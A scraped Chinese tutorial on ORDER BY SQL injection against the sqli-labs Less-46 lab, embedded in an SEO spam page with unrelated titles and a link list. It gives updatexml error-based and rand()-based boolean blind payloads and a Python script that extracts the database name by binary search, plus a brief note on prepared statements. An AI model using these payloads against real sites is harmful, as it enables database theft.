当前位置: 首页 > news >正文

做网站的人会不会拿走我的网站全网营销培训

做网站的人会不会拿走我的网站,全网营销培训,郴州网络,浙江纸巾包装设计公司一、环境 网上有自己找 二、解释 order by 注入我们看他的true和false来进行注入出来 二、实操 让我们用sort 看看源码 最终我们的id是放到order by后面了 如果我们直接用列去排序 ?sortusername/password username: password: 可以看到顺序是不…

一、环境

网上有自己找

二、解释

order by 注入我们看他的true和false来进行注入出来

二、实操

让我们用sort

看看源码

最终我们的id是放到order by后面了

如果我们直接用列去排序

?sort=username/password

 username:

password:

 可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)

报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现

?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

那如果是盲注的话,写true和false排序是不同的,所有我们可不可以用rand去进行排序

?sort=rand(ascii(mid((select%20database()),1,1))>114)

 很明显ok的,转为ascii码来比较真假,为真为假是两种表现方式如下,假如说上面的报错被屏蔽了,我们就没办法了,那我们通过rand也可以,那为真为假是我们爬取的一个重要标识

我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3

 python脚本

# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)res = {"sort": payload}r = requests.post(url, params=res)html = r.textsoup = BeautifulSoup(html,'html.parser')getUsername = soup.find_all('td')[1].textif getUsername == 'admin3':low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli/Less-46/index.php'inject_database(url)

正确后我们通过查表查库查字段出结果:

三、如何防御

防御机制:

PDO预编译:

模拟编译:

PHP的底层把单引号自动转译,但是遇见宽字节会失效,但是遇见真实的预编译这里就不会失效,

真实编译:

如果在预编译的形势下,还是用拼接传递参数,那么预编译不会生效,order by后面本身会存在注入点,但是预编译情况下,没有办法在order by后面实现预编译,如果想功能正常,还是得用拼接的方法去使用,这种情况下也有可能实现sql注入

 

http://www.ds6.com.cn/news/15673.html

相关文章:

  • wordpress 获取文章作者seo软件视频教程
  • 行业网站建设多少钱进入百度搜索首页
  • 网站分站系统免费开店的电商平台
  • 吉粤建设工程股份有限公司网站品牌seo如何优化
  • 做网站py和php太原seo排名优化公司
  • 知识付费网站建设百度关键词seo优化
  • 网站建设链接演示文库百度登录入口
  • 怎样将自己做的网页加入网站网店怎么开
  • 刷网站跳出率百度客服人工电话多少
  • 中企动力做的网站怎么样百家号关键词排名
  • 迎泽网站建设怎么接游戏推广的业务
  • 长沙网站设计我选刻引擎网站推广法
  • 天津品牌网站建设公司十大经典营销案例
  • 自己做网站 赚钱优化大师有必要安装吗
  • 中英文双版网站怎么做站长之家端口扫描
  • 网站建设报价单ppt石家庄疫情
  • 网络公司网站官网百度热门关键词
  • 网页不能下载的wordpress网站关键词优化软件
  • 政府网站建设评价标准铜川网站seo
  • 网站域名备案查询官网税收大数据
  • 做 直销网站 公司名称重庆seo教程搜索引擎优化
  • 禹城做网站十大看免费行情的软件下载
  • 交友网站可以做微信朋友圈吗什么是软文推广
  • 编程java 网站开发的前景北京网站优化体验
  • 湖南企业做网站网站备案
  • 如何做网站首页今日头条新闻大事件
  • 万网网站建设教程怎样优化网站关键词排名靠前
  • 网站关键词长度网络营销的四大基础理论
  • 怎么自己在家做网站广告联盟app推广
  • 网页打不开显示不安全怎么办优化大师最新版本